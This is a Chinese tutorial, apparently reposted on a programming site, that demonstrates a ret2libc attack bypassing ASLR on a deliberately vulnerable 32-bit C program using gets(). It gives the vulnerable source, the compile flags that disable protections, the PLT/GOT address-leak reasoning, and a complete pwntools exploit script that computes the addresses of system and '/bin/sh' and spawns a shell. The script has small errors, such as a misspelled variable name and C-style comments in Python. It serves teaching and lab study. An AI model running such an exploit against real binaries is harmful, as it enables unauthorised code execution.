ret2libc过地址随机化

栏目: IT技术 · 发布时间: 4年前

内容简介:之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将其替换成system等函数和参数的地址来获取权限,这种情况下system与’/bin/sh’的地址并不会改变。而现在,我们在编译c文件时,开启了栈不可执行和地址随机化,system和’/bin/sh’会发生改变,那我们该如何获取system等的位置呢?首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出我们将其编译设置为栈不可执行和地址随机化

之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将其替换成system等函数和参数的地址来获取权限,这种情况下system与’/bin/sh’的地址并不会改变。而现在,我们在编译c文件时,开启了栈不可执行和地址随机化,system和’/bin/sh’会发生改变,那我们该如何获取system等的位置呢?

首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出

#include <stdio.h>

char buf2[20]="this is buf2";

void vul()

{char buf1[10];

gets(buf1);}

void main()

{write(1,"sinxx",5);

vul();}

我们将其编译设置为栈不可执行和地址随机化

gcc -m32 -fno-stack-protector -no-pie  -o 1.exe 1.c

接着,找出溢出点的位置:

ret2libc过地址随机化 ret2libc过地址随机化 溢出点的位置为22。

那么,我们要进行最重要的一步,找出system和’/bin/sh’的地址。这里我们需要了解几个知识点:

(1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)

(2)在 linux 的gcc使用 C语言 源文件的二进制文件时,经过预处理,编译,汇编,链接过程后,就会生成一个ELF格式的可以执行的文件。例如通过gcc hello.c -o hello即可生成一个文件名为hello的可执行文件,该程序会输出Hello World

(3)PLT表中的数据不是函数的真实地址,即带有@plt标志的函数,起个过渡作用

(4)GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址

(5)地址随机化并没有对PLT表、GOT表产生作用

了解到上面的知识点后,可以用下面的思路来获取地址:

(1)找到gets函数的真实地址

(2)计算出system和/bin/sh这两个参数与gets函数真实地址之间的差值,这样就可以找出system与/bin/sh的地址

(3)构造payload进行溢出

那么我们该如何获取gets函数的真实地址呢?

ret2libc过地址随机化 这里可以看见调用了gets()函数,还可以看见gets@plt

那么使用此语句查看PLT表:objdump -d -M intel -j .plt 1.exe

ret2libc过地址随机化 可以看见在我们执行gets函数时,我们会先去到plt表,然后又会jmp到GOT里面的真实地址:0×8049030

接下来我们计算计算system、/bin/sh与gets函数的相对偏移

ret2libc过地址随机化 先加载1.exe依赖的库,ldd 1.exe看程序依赖什么库。相对偏移地址为 gets函数的真实地址减去在libc中的地址:

rva_libc=gets_real_addr-libc.symbols["gets"] 

我么就能知道system与’/bin/sh’的真实地址了,分别为:

addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rval_libc+libc.search("/bin/sh").next()

接下来我们就可以开始写 python 文件1.py了:

from pwn import *

context(arch="i386",os="linux")

p=process("1.exe")//加载1.exe进程

e=ELF("1.exe")//加载1.exe文件,分析ELF结构

addr_write=e.plt["write"]

addr_gets=e.got["gets"]//gets函数最后的真实地址在got表中

addr_vul=e.symbols["vul"]//由于vul函数是自定义函数,所以在符号表中找到vul的地址

print pidof(p)//便于进行调试

offset=22

pause()

payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)/

p.sendlineafter("sinxx",payload1)//sinxx输完之后再输入payloads

gets_real_addr=u32(p.recv(4))//将地址转换成32位

libc=ELF("/lib/i386-linux-gnu/libc.so.6")//加载1.exe依赖的库

rva_libc=gets_real_addr-libc.symbols["gets"]//计算相对偏移

addr_system=rva_libc+libc.symbols["system"]//system的真实地址

addr_binsh=rval_libc+libc.search("/bin/sh").next()//  '/bin/sh'的真实地址

payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)

p.sendline(payload2)

p.interactive()

要注意的是payload1的构成结构,payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)我们在call一个函数的时候会先将这个函数的地址压入堆栈,然后将执行完函数要跳转到的地址压入堆栈,再将函数的参数压入堆栈,我们将vul的地址当成函数执行完之后的跳转地址,那么就可以跳转到payload2上。而且为了获取gets的真实地址,调用了write这个函数,然后将got表中gets的真实地址打印出来,其中’1′和’4′是write的两个参数。

而在构造payload2的时候payload2=offset*’a'+p32(addr_system)+p32(0)+p32(addr_binsh)我们需要压入 执行完函数之后要跳转的地址,由于我们进行交互之后不需要考虑是否平衡堆栈,所以这个地址我们写0。

最后我们执行这个python文件,成功获得系统权限:

ret2libc过地址随机化


以上所述就是小编给大家介绍的《ret2libc过地址随机化》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

失控

失控

[美] 凯文·凯利 / 东西文库 / 新星出版社 / 2011-3 / 98.00元

2006年,《长尾理论》的作者克里斯·安德森在亚马逊网站上这样评价该书: “这可能是90年代最重要的一本书”,并且是“少有的一年比一年卖得好的书”。“尽管书中的一些例子在十几年后可能有些过时,但(它们所表达的)信息却越来越成为真知灼见”。“在那时人们还无法想象博客和维基等大众智慧的突起,但凯利却分毫不差地预见到了。这可能是过去十年来最聪明的一本书。” 这是《黑客帝国》主要演员的必读物之......一起来看看 《失控》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换